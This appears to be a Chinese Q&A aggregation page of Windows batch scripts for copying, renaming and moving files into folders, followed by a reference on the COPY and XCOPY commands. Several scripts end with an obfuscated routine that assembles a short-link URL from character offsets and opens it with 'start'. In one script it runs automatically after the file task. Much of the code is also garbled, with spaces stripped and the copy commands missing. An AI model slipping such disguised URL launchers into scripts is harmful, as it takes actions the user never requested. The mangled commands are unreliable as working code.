復制指定文件到文件夾
『壹』 批處理:批量復制當前目錄下的指定文件到指定文件夾里
@echooff
set"file_name=FM"
set"DstDir=d: est指定文件夾"
ifnotexist"%DstDir%"md"%DstDir%"
for/r%%ain("*%file_name%*")do(
set"_path=%%~dpa"
if/i"!_path:%DstDir%=!"equ"!_path!"(
set"_path=!_path:%~dp0=!"
set"_path=!_path:=-!"
echo;f|x"%%a""%DstDir%!_path!%%~nxa"/y
)
endlocal
)
pause
『貳』 怎麼用bat復制指定的一個文件到指定文件夾,並重命名
腳本保存時的編碼務必設為ANSI,您包含文件名的文件列表文本,編碼也要使用ANSI,否則中文字元會出現亂碼現象,從而導致腳本執行報錯。
@echooff&title批量拷貝文件到指定目錄,並根據列表重命名By依夢琴瑤
cd/d"%~dp0"
::設置源文件完整路徑,當前目錄可只寫相對路徑
setSrcFile=C:.xlsx
::設置目標目錄完整路徑,當前目錄可只寫相對路徑
setTgtFolder=C:
::設置列表文件完整路徑,當前目錄可只寫相對路徑
setFileLst=C:.txt
ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含後綴名,那麼請在下方的%%~a後面添加.xlsx後綴名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"
『叄』 批處理如何復制指定文件夾下的所有指定文件夾到其他目錄
以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI
@echo off
rem 將一個指定目錄下的所有子文件夾里的一個指定名稱的文件夾拷貝/復制到另一個指定目錄里
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "oldfolder=D:\1\2"
set "newfolder=D:\1\3"
for /f "delims=" %%a in ('dir /ad-h/b "%oldfolder%\"') do (
for %%b in ("003") do (
if exist "%oldfolder%\%%~nxa\%%~b" (
echo;"%oldfolder%\%%~nxa\%%~b" --^> "%newfolder%\%%~nxa\%%~b\"
)
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
『肆』 批量復制指定文件到當前目錄下所有文件夾
@echo off & title 批量復制指定文件到所有文件夾中 By 依夢琴瑤
::設置要拷貝的文件
set File=001.txt
for /d %%a in (*) do "%File%" "%%~a\"
pause
以下命令願意的話,可以執行一下。
@echo off & title 友情一下 By 依夢琴瑤
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
『伍』 如何批處理把文件COPY到指定文件夾
/y 1.exe %windir%
/y 2.exe %windir%\system
『陸』 將當前文件夾及文件夾下文件復制到指定位置bat
命令如下:
x*.*"D:MyDocuments"/e
『柒』 如何在CMD下把指定文件復制到指定文件夾內
可以使用CMD模式下的命令,將E盤下的文本文件「1.txt」(路徑是E:1.txt)復制到E盤中的「a」文件夾中(路徑是E:a),操作的方法如下:
1、打開電腦中的E盤,在E盤中先建立一個名稱為「1」的txt文本文件,同時新建一個名稱為「a」的空文件夾,如下:
『捌』 批處理復制指定多個文件到多個指定文件夾
@echooff&title根據列表批量移動文件到對應目錄By依夢琴瑤
cd/d"%~dp0"
::設置要處理的目錄,當前目錄請留空
setSrcDir=
::設置文本路徑
setFile=List.txt
ifdefinedSrcDircd/d"%SrcDir%"
for/f"usebackqtokens=1*"%%ain("%File%")do(
ifexist"%%~b"(
ifnotexist"%%~a"md"%%~a"
move"%%~b""%%~a">nul2>nul&&(
echo"%%~b"已移至"%%~a"目錄中
)||(
echo"%%~b"移動失敗
)
)else(
echo未找到文件"%%~b"
)
)
echo操作完成
pause
call:Dnte
exit
:Dnte
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
PS:由於此平台加入了防抄襲干擾碼,因此復制粘貼後務必請比對一下原文,以免由於干擾碼導致腳本運行出錯。
腳本保存編碼務必選擇ANSI,其它編碼可能會導致腳本運行出錯。
『玖』 如何在CMD下把指定文件復制到指定文件夾內
(一)
COPY文件復制命令
1.功能:拷貝一個或多個文件到指定盤上。
2.類型:內部命令
3.格式:COPY
[源盤][路徑]〈源文件名〉[目標盤][路徑][目標文件名]
4.使用說明:
(1)COPY是文件對文件的方式復制數據,復制前目標盤必須已經格式化;
(2)復制過程中,目標盤上相同文件名稱的舊文件會被源文件取代;
(3)復制文件時,必須先確定目標般有足夠的空間,否則會出現;insufficient的錯誤信息,提示磁碟空間不夠;
(4)文件名中允許使用通配舉「*」「?」,可同時復制多個文件;
(5)COPY命令中源文件名必須指出,不可以省略。
(6)復制時,目標文件名可以與源文件名相同,稱作「同名拷貝」此時目標文件名可以省略;
(7)復制時,目標文件名也可以與源文件名不相同,稱作「異名拷貝」,此時,目標文件名不能省略;
(8)復制時,還可以將幾個文件合並為一個文件,稱為「合並拷貝」,格式如下:COPY;[源盤][路徑]〈源文件名1〉〈源文件名2〉…[目標盤][路徑]〈目標文件名〉;
(9)利用COPY命令,還可以從鍵盤上輸入數據建立文件,格式如下:COPY
CON
[盤符:][路徑]〈文件名〉;
(10)注意:COPY命令的使用格式,源文件名與目標文件名之間必須有空格!
(二)XCOPY——目錄復制命令
1.功能:復制指定的目錄和目錄下的所有文件連同目錄結構。
2.類型:外部命令
3.格式:XCOPY
[源盤:]〈源路徑名〉[目標盤符:][目標路徑名][/S][/V][/E]
4.使用說明:
(1)XCOPY是COPY的擴展,可以把指定的目錄連文件和目錄結構一並拷貝,但不能拷貝隱藏文件和系統文件;
(2)使用時源盤符、源目標路徑名、源文件名至少指定一個;
(3)選用/S時對源目錄下及其子目錄下的所有文件進行COPY。除非指定/E參數,否則/S不會拷貝空目錄,若不指定/S參數,則XCOPY只拷貝源目錄本身的文件,而不涉及其下的子目錄;
(4)選用/V參數時,對的拷貝的扇區都進行較驗,但速度會降低。